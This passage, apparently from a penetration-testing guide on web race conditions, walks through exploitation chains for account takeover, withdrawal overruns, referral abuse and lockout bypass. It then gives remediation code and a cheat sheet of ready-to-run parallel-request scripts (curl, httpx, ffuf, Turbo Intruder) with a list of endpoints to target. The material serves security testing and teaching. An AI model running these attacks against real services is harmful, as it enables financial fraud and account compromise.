Step 1: Create user record (id=99, role=null) ← PARTIALLY CONSTRUCTED
Step 2: Assign default role (role='user')
Step 3: Send verification email
Race window: Between step 1 and 2, another request reads user id=99.
If that request doesn't enforce role != null → acts as unauthenticated / god mode.
13.2 Registration Partial Construction
Scenario: Registration flow
1. POST /api/register → creates account, returns session token
2. GET /api/set-defaults → sets role, quota, permissions
Race: Use the session token from step 1 BEFORE step 2 completes.
Test:
1. Send POST /api/register (get session token)
2. IMMEDIATELY and SIMULTANEOUSLY with step 2's background processing:
GET /api/admin (using the new session token)
→ Does it work before role is set? → role is null → might default to true!
13.3 Payment / Order Partial Construction
Order lifecycle:
1. POST /api/order/create → order_id=777, status='pending'
2. POST /api/payment/process → validates, status='paid'
3. POST /api/order/fulfill → ships, status='shipped'
Race between steps 1 and 2:
- Create order → grab order_id
- Immediately hit /api/order/fulfill with order_id before payment processes
- If fulfillment checks status='pending' OR status='paid' weakly → race bypasses payment
Or: Race between steps 2 and 3:
- Send /api/payment/process AND /api/order/cancel simultaneously
- If cancel succeeds but payment already processed → refund + fulfilled order
13.4 Token Partial Construction
Scenario: API key generation
1. Server generates key: INSERT INTO api_keys (user_id, key, active) VALUES (...)
2. Server enables key: UPDATE api_keys SET active=1 WHERE key=...
Race: Key is in DB between steps 1 and 2 with active=NULL.
If another part of the system iterates all keys (e.g., for auditing)
and uses a key with active=NULL as if active (null != false in some langs)
→ key is used before it's properly activated
Or: Generate key, steal it during the window before it's tied to your user
(if there's a separate lookup table update that lags)
14. Real-World Exploitation Chains
14.1 Race Condition → Account Takeover
Target: E-commerce platform
Vulnerability: Password reset token TOCTOU
Step 1: Attacker requests password reset for victim@victim.com
→ Server generates token "abc123", stores in DB (used=false)
→ Sends email to victim@victim.com
Step 2: Attacker somehow obtains token (phishing, previous breach, guessing)
— For this chain, assume attacker can observe token timing
Step 3: Send two simultaneous requests:
Req A: POST /reset {"token":"abc123","new_password":"Attacker1!"}
Req B: POST /reset {"token":"abc123","new_password":"Attacker2!"}
Step 4: Both pass the used=false check.
One request wins the DB update race.
Token is marked used.
But BOTH requests processed the new password assignment.
Impact: Attacker controls the final password set.
Account taken over.
14.2 Race Condition → Financial Fraud
Target: Fintech API
Vulnerability: Withdrawal limit overrun
Constraint: Max $500 withdrawal per transaction, account balance = $500.
Goal: Withdraw > $500 total.
Step 1: Craft 10 identical withdrawal requests for $500 each.
Step 2: Send all 10 simultaneously via HTTP/2 single-packet attack.
Step 3: Server checks balance $500 >= $500 for all 10 (all pass check).
Step 4: 2–5 requests successfully debit $500.
Account balance: -$1000 to -$2000.
Result: Extracted up to 10× the available balance.
Real-world examples: Numerous crypto exchanges, Venmo clones, and
banking APIs have been hit with this exact chain.
14.3 Race Condition → Coupon / Referral Abuse
Target: SaaS subscription platform
Vulnerability: Referral bonus limit overrun
Normal flow: Refer a friend → you get $10 credit (once per referral).
Race:
1. Attacker has 1 legitimate referral (friend signed up).
2. Sends 50 concurrent POST /api/claim-referral {"ref_id":"FRIEND123"}
3. Server checks: has this referral been claimed? → No (for all 50)
4. All 50 requests create a "claim" record and add $10 credit.
5. Result: $500 credit from 1 referral.
Fix check: The server should use an atomic INSERT with UNIQUE constraint
on (ref_id, claiming_user_id) and catch the duplicate key error.
14.4 Race Condition → Privilege Escalation (Web)
Target: Admin panel with role-based access control
Vulnerability: Role assignment partial construction
Step 1: Register a new account (role='user' set in background job).
Step 2: Before background job runs, send GET /api/admin-panel.
Step 3: If role check is:
if (user.role === 'admin') → false (not yet 'user', null)
But somewhere: if (!user.role || user.role === 'admin')
→ null/undefined is falsy → condition passes → admin access!
Or: Change role from 'user' to 'moderator' via profile update.
While the role update is processing, simultaneously request
admin-level endpoint.
If the endpoint reads role during the transition window
(between deleting 'user' and setting 'moderator') → role is null → bypass.
14.5 Race Condition → WAF / Rate Limit Bypass
Target: Login endpoint with 5-attempt lockout
Vulnerability: Attempt counter race condition
Normal: 5 wrong attempts → account locked for 30 minutes.
Race:
1. Send 2 login attempts SIMULTANEOUSLY (parallel):
→ Counter reads: attempts = 0 for both requests
→ Both increment to 1
→ Net result: 2 attempts registered as 1
2. Repeat: each pair of concurrent attempts only increments by 1.
3. Effectively doubles the allowed attempts before lockout.
4. With 5-attempt limit: race allows 10 actual attempts.
Better exploit: Send 5 pairs (10 attempts) simultaneously.
Counter reads 0 for all → all increment → counter = 1 (or 2, jitter).
All 10 attempts processed before counter hits 5.
Result: 10 password guesses within 1 "window".
15. Remediation
15.1 Atomic Database Operations
-- VULNERABLE (read-modify-write):
SELECT uses FROM coupons WHERE code = 'PROMO50'; -- reads 0
-- race window
UPDATE coupons SET uses = uses + 1 WHERE code = 'PROMO50';
-- SAFE — atomic conditional update:
UPDATE coupons
SET uses = uses + 1
WHERE code = 'PROMO50'
AND uses < max_uses;
-- Check affected rows in application:
if db.rowcount == 0:
raise Exception("Coupon already fully redeemed or invalid")
-- SAFE — atomic check+insert for one-time use:
INSERT INTO coupon_redemptions (coupon_code, user_id)
VALUES ('PROMO50', 123)
ON CONFLICT (coupon_code, user_id) DO NOTHING;
if db.rowcount == 0:
raise Exception("You've already redeemed this coupon")
15.2 Database Transactions with Locking
# Python + SQLAlchemy — pessimistic locking:
from sqlalchemy import select
from sqlalchemy.orm import Session
def redeem_gift_card(session: Session, card_code: str, user_id: int):
with session.begin():
# SELECT FOR UPDATE — locks the row until transaction commits:
card = session.execute(
select(GiftCard)
.where(GiftCard.code == card_code)
.with_for_update() # ← LOCKS ROW
).scalar_one_or_none()
if not card:
raise ValueError("Invalid code")
if card.redeemed:
raise ValueError("Already redeemed")
# Now safe: no concurrent transaction can modify this row
card.redeemed = True
card.redeemed_by = user_id
session.add(card)
# Transaction commits here — lock released
# Node.js + Sequelize:
await sequelize.transaction(async (t) => {
const card = await GiftCard.findOne({
where: { code: cardCode },
lock: t.LOCK.UPDATE, // SELECT FOR UPDATE
transaction: t
});
if (!card || card.redeemed) throw new Error("Invalid or used");
await card.update({ redeemed: true, redeemedBy: userId },
{ transaction: t });
});
15.3 Idempotency Keys
// Add an idempotency key to critical endpoints:
// Client sends a unique key per logical operation.
// Server stores: idempotency_key → result
// Duplicate requests with same key return cached result — no re-execution.
// Express.js middleware:
async function idempotencyMiddleware(req, res, next) {
const key = req.headers["idempotency-key"];
if (!key) return next(); // optional for non-critical endpoints
const cached = await redis.get(`idem:${key}`);
if (cached) {
// Return cached response — do NOT re-execute:
return res.status(200).json(JSON.parse(cached));
}
// Intercept response to cache it:
const originalJson = res.json.bind(res);
res.json = async (body) => {
await redis.set(`idem:${key}`, JSON.stringify(body), "EX", 86400);
originalJson(body);
};
next();
}
// Client usage:
// POST /api/transfer
// Idempotency-Key: a1b2c3d4-unique-per-transfer
15.4 Optimistic Locking (Version Field)
# Add 'version' column to sensitive tables:
# version INT NOT NULL DEFAULT 0
def transfer_funds(user_id, amount):
while True:
user = db.query("SELECT balance, version FROM accounts WHERE id=?",
user_id)
if user.balance < amount:
raise Exception("Insufficient funds")
# Atomic update — only succeeds if version hasn't changed:
rows = db.execute(
"UPDATE accounts SET balance=?, version=? "
"WHERE id=? AND version=?",
user.balance - amount,
user.version + 1,
user_id,
user.version # ← fails if concurrent request already updated
)
if rows.rowcount == 1:
break # success
# else: version conflict → retry
15.5 Rate Limiting with Atomic Counters
# Use Redis INCR (atomic) for rate limiting — not DB read-then-write:
import redis
r = redis.Redis()
def check_rate_limit(user_id: str, limit: int = 5,
window: int = 60) -> bool:
key = f"ratelimit:{user_id}"
pipe = r.pipeline()
pipe.incr(key) # atomic increment
pipe.expire(key, window) # set TTL if not set
count, _ = pipe.execute()
return count <= limit
# Usage:
if not check_rate_limit(user_id):
return "Rate limit exceeded", 429
# Redis INCR is atomic — no race condition on the counter.
# Compare to: GET count → check → SET count+1 (VULNERABLE)
15.6 Mutex / Distributed Locking
# Redis-based distributed lock (Redlock pattern):
import redis
import time
import uuid
r = redis.Redis()
def acquire_lock(resource: str, ttl_ms: int = 5000) -> str | None:
lock_id = str(uuid.uuid4())
# SET NX (only if not exists) + PX (expire in ms) — atomic:
if r.set(f"lock:{resource}", lock_id, nx=True, px=ttl_ms):
return lock_id
return None # lock not acquired
def release_lock(resource: str, lock_id: str):
# Only release if we own it (Lua script — atomic):
lua = """
if redis.call('get', KEYS[1]) == ARGV[1] then
return redis.call('del', KEYS[1])
else
return 0
end
"""
r.eval(lua, 1, f"lock:{resource}", lock_id)
# Usage — protect a critical section:
def redeem_coupon(user_id, code):
lock_key = f"coupon:{code}"
lock_id = acquire_lock(lock_key, ttl_ms=3000)
if not lock_id:
return "Another redemption in progress. Try again."
try:
# Critical section — only ONE thread can execute this:
coupon = db.get_coupon(code)
if coupon.used:
return "Already used"
db.mark_coupon_used(code, user_id)
return "Success"
finally:
release_lock(lock_key, lock_id)
15.7 Defense-in-Depth Summary
- Atomic DB operations (conditional UPDATE with WHERE clause) → PRIMARY for web
- SELECT FOR UPDATE / row-level locking inside transactions → PRIMARY for complex flows
- UNIQUE constraints on (user_id, resource_id) tables → catch duplicates at DB level
- Idempotency keys on financial / one-time-use endpoints → PRIMARY
- Optimistic locking (version field) for high-throughput scenarios → SCALABLE
- Redis atomic INCR for rate limit counters (not read-modify-write) → PRIMARY
- Distributed locks (Redlock) for cross-service critical sections → MICROSERVICES
- Avoid storing intermediate "in-progress" state that other requests can read → ARCHITECTURAL
- Never perform privilege checks and privileged actions as separate non-atomic steps → CORE RULE
- Input validation does NOT fix race conditions — locking does → AWARENESS
16. Master Cheat Sheet
Attack Selection Decision Tree
Suspect a race condition?
│
├── Is there a per-user LIMIT on an action?
│ (coupon, vote, withdrawal, referral, free trial)
│ └── LIMIT OVERRUN → send N parallel requests simultaneously
│ → Use HTTP/2 single-packet attack for small windows
│
├── Are there TWO SEPARATE STEPS to an action?
│ (check permission → use permission, verify → act, create → configure)
│ └── TOCTOU → race between step 1 and step 2
│ → Send action request WHILE check/setup is processing
│
├── Are TWO DIFFERENT ENDPOINTS sharing state?
│ (register + login, reset + session, upload + process)
│ └── MULTI-ENDPOINT race → fire both endpoints simultaneously
│ → Turbo Intruder with gate mechanism
│
├── Is the SAME ENDPOINT hit with different params?
│ (change email × 2, buy last item × 5)
│ └── SINGLE-ENDPOINT race → concurrent requests with diff payloads
│ → Burp Repeater group → Send parallel
│
├── Is there a TOKEN that should be single-use?
│ (reset token, OTP, invite code, gift card code)
│ └── TOKEN RACE → send same token in 2 parallel requests
│ → If both succeed → token check is non-atomic
│
├── Is there a COUNTER that gates access?
│ (login attempts, rate limit, max redemptions)
│ └── COUNTER RACE → send pairs simultaneously
│ → Counter increments only once for each pair
│ → Doubles effective allowed attempts
│
└── Multi-step OBJECT CREATION?
(register → assign role → verify, create order → process payment)
└── PARTIAL CONSTRUCTION → interact with object between steps
→ Use the session/token from step 1 before step 2 runs
Quick Payload / Attack Reference
# ── Quick parallel test (curl) ──
for i in {1..10}; do
curl -s -X POST https://target.com/api/action \
-H "Cookie: session=SESSION" \
-d '{"param":"value"}' &
done; wait
# ── Python asyncio + httpx (HTTP/2) ──
# pip install httpx[http2]
python3 -c "
import asyncio, httpx
async def race():
async with httpx.AsyncClient(http2=True, verify=False) as c:
tasks = [c.post('https://target.com/api/action',
json={'param':'value'},
headers={'Cookie':'session=SESSION'})
for _ in range(20)]
res = await asyncio.gather(*tasks)
[print(r.status_code, r.text[:60]) for r in res]
asyncio.run(race())
"
# ── ffuf parallel ──
python3 -c "print('\n'.join(['x']*20))" > /tmp/r.txt
ffuf -w /tmp/r.txt -u https://target.com/api/action \
-X POST -H "Cookie: session=SESSION" \
-d '{"param":"value"}' -t 20 -mc 200
# ── Check for success rate ──
# If > 1 request returns 200/success for a single-use action → VULN
Burp Suite Quick Reference
Repeater → Group Send:
"Send group (parallel)" → HTTP/1.1 + HTTP/2 parallel
"Send group (single-packet)" → HTTP/2 single-packet attack (best)
Turbo Intruder:
engine.queue(req, gate='race') → queue request into gate
engine.openGate('race') → fire ALL queued requests at once
concurrentConnections=30 → number of parallel connections
pipeline=False → disable HTTP pipelining for clean race
Key Turbo Intruder templates:
"race-single-packet-attack" → built-in template in extension
"examples/race.py" → base template for custom races
Response Pattern Reference
DEFINITE RACE CONDITION:
→ Multiple "success"/"200" for single-use resource
→ Balance goes negative
→ Duplicate DB entries
→ Multiple confirmation emails sent
PROBABLE RACE CONDITION:
→ Mixed 200 / 409 responses (timing-sensitive gate)
→ Intermittent success where only failure expected
→ Different response bodies for identical requests in a batch
INVESTIGATE FURTHER:
→ Consistent 409 / "already used" (might just be correct behavior)
→ All requests fail (timing off — retry with single-packet attack)
→ Errors about "transaction deadlock" in responses (lock exists but may have gap)
Common Race Condition Locations
HIGH VALUE — Almost always worth testing:
→ /redeem, /claim, /apply-coupon, /use-voucher
→ /transfer, /withdraw, /purchase, /checkout
→ /reset-password, /change-email, /change-username
→ /vote, /like, /upvote, /rate
→ /referral, /bonus, /reward
→ /2fa/verify, /otp/check
→ /invite, /accept-invite
→ /subscribe, /activate, /free-trial
MEDIUM VALUE — Check when nothing else found:
→ /upload (combined with /scan or /process)
→ /register (with background role assignment)
→ /refresh-token
→ /order/create + /payment/process
→ /register + /login (email verification bypass)
LOW VALUE — Unlikely but possible:
→ /profile/update (if role check involved)
→ /settings (if sensitive state managed)
→ /logout (session invalidation race)
Tool Quick Reference
# Burp Suite (built-in):
# Repeater → Group → "Send group (single-packet attack)"
# Turbo Intruder extension → openGate() pattern
# httpx (Python HTTP/2 client):
pip install httpx[http2]
# aiohttp (Python async HTTP):
pip install aiohttp
# ffuf (concurrent fuzzer):
go install github.com/ffuf/ffuf/v2@latest
# Custom script template: Section 12.5 (copy-paste ready)
# Redis lock (production fix testing):
pip install redis